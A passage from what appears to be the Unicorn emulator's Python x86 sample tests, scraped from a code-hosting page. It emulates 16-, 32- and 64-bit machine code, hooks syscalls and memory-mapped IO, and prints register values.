rdi = mu.reg_read(UC_X86_REG_RDI)
|
||||
r8 = mu.reg_read(UC_X86_REG_R8)
|
||||
r9 = mu.reg_read(UC_X86_REG_R9)
|
||||
r10 = mu.reg_read(UC_X86_REG_R10)
|
||||
r11 = mu.reg_read(UC_X86_REG_R11)
|
||||
r12 = mu.reg_read(UC_X86_REG_R12)
|
||||
r13 = mu.reg_read(UC_X86_REG_R13)
|
||||
r14 = mu.reg_read(UC_X86_REG_R14)
|
||||
r15 = mu.reg_read(UC_X86_REG_R15)
|
||||
|
||||
print(">>> RAX = 0x%x" % rax)
|
||||
print(">>> RBX = 0x%x" % rbx)
|
||||
print(">>> RCX = 0x%x" % rcx)
|
||||
print(">>> RDX = 0x%x" % rdx)
|
||||
print(">>> RSI = 0x%x" % rsi)
|
||||
print(">>> RDI = 0x%x" % rdi)
|
||||
print(">>> R8 = 0x%x" % r8)
|
||||
print(">>> R9 = 0x%x" % r9)
|
||||
print(">>> R10 = 0x%x" % r10)
|
||||
print(">>> R11 = 0x%x" % r11)
|
||||
print(">>> R12 = 0x%x" % r12)
|
||||
print(">>> R13 = 0x%x" % r13)
|
||||
print(">>> R14 = 0x%x" % r14)
|
||||
print(">>> R15 = 0x%x" % r15)
|
||||
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_x86_64_syscall():
|
||||
print("Emulate x86_64 code with 'syscall' instruction")
|
||||
try:
|
||||
# Initialize emulator in X86-64bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_64)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE64_SYSCALL)
|
||||
|
||||
def hook_syscall(mu, user_data):
|
||||
rax = mu.reg_read(UC_X86_REG_RAX)
|
||||
if rax == 0x100:
|
||||
mu.reg_write(UC_X86_REG_RAX, 0x200)
|
||||
else:
|
||||
print('ERROR: was not expecting rax=%d in syscall' % rax)
|
||||
|
||||
# hook interrupts for syscall
|
||||
mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
|
||||
|
||||
# syscall handler is expecting rax=0x100
|
||||
mu.reg_write(UC_X86_REG_RAX, 0x100)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64_SYSCALL))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
rax = mu.reg_read(UC_X86_REG_RAX)
|
||||
print(">>> RAX = 0x%x" % rax)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_x86_16():
|
||||
print("Emulate x86 16-bit code")
|
||||
try:
|
||||
# Initialize emulator in X86-16bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_16)
|
||||
|
||||
# map 8KB memory for this emulation
|
||||
mu.mem_map(0, 8 * 1024)
|
||||
|
||||
# set CPU registers
|
||||
mu.reg_write(UC_X86_REG_EAX, 7)
|
||||
mu.reg_write(UC_X86_REG_EBX, 5)
|
||||
mu.reg_write(UC_X86_REG_ESI, 6)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(0, X86_CODE16)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(0, len(X86_CODE16))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
tmp = mu.mem_read(11, 1)
|
||||
print(">>> Read 1 bytes from [0x%x] = 0x%x" % (11, tmp[0]))
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def mmio_read_cb(uc, offset, size, data):
|
||||
print(f">>> Read IO memory at offset {hex(offset)} with {hex(size)} bytes and return 0x19260817")
|
||||
|
||||
return 0x19260817
|
||||
|
||||
|
||||
def mmio_write_cb(uc, offset, size, value, data):
|
||||
print(f">>> Write value {hex(value)} to IO memory at offset {hex(offset)} with {hex(size)} bytes")
|
||||
|
||||
|
||||
def test_i386_mmio():
|
||||
print("Test i386 IO memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 8KB memory for this emulation and write the code
|
||||
mu.mem_map(0x10000, 0x8000)
|
||||
mu.mem_write(0x10000, X86_MMIO_CODE)
|
||||
|
||||
# map the IO memory
|
||||
mu.mmio_map(0x20000, 0x4000, mmio_read_cb, None, mmio_write_cb, None)
|
||||
|
||||
# prepare registers.
|
||||
mu.reg_write(UC_X86_REG_ECX, 0xdeadbeef)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(0x10000, 0x10000 + len(X86_MMIO_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(f">>> Emulation done. ECX={hex(mu.reg_read(UC_X86_REG_ECX))}")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_x86_16()
|
||||
test_i386()
|
||||
print("=" * 35)
|
||||
test_i386_map_ptr()
|
||||
print("=" * 35)
|
||||
test_i386_inout()
|
||||
print("=" * 35)
|
||||
test_i386_context_save()
|
||||
print("=" * 35)
|
||||
test_i386_jump()
|
||||
print("=" * 35)
|
||||
test_i386_loop()
|
||||
print("=" * 35)
|
||||
test_i386_invalid_mem_read()
|
||||
print("=" * 35)
|
||||
test_i386_invalid_mem_write()
|
||||
print("=" * 35)
|
||||
test_i386_jump_invalid()
|
||||
test_x86_64()
|
||||
print("=" * 35)
|
||||
test_x86_64_syscall()
|
||||
print("=" * 35)
|
||||
test_i386_mmio()
|
||||
Reference in New Issue
Block a user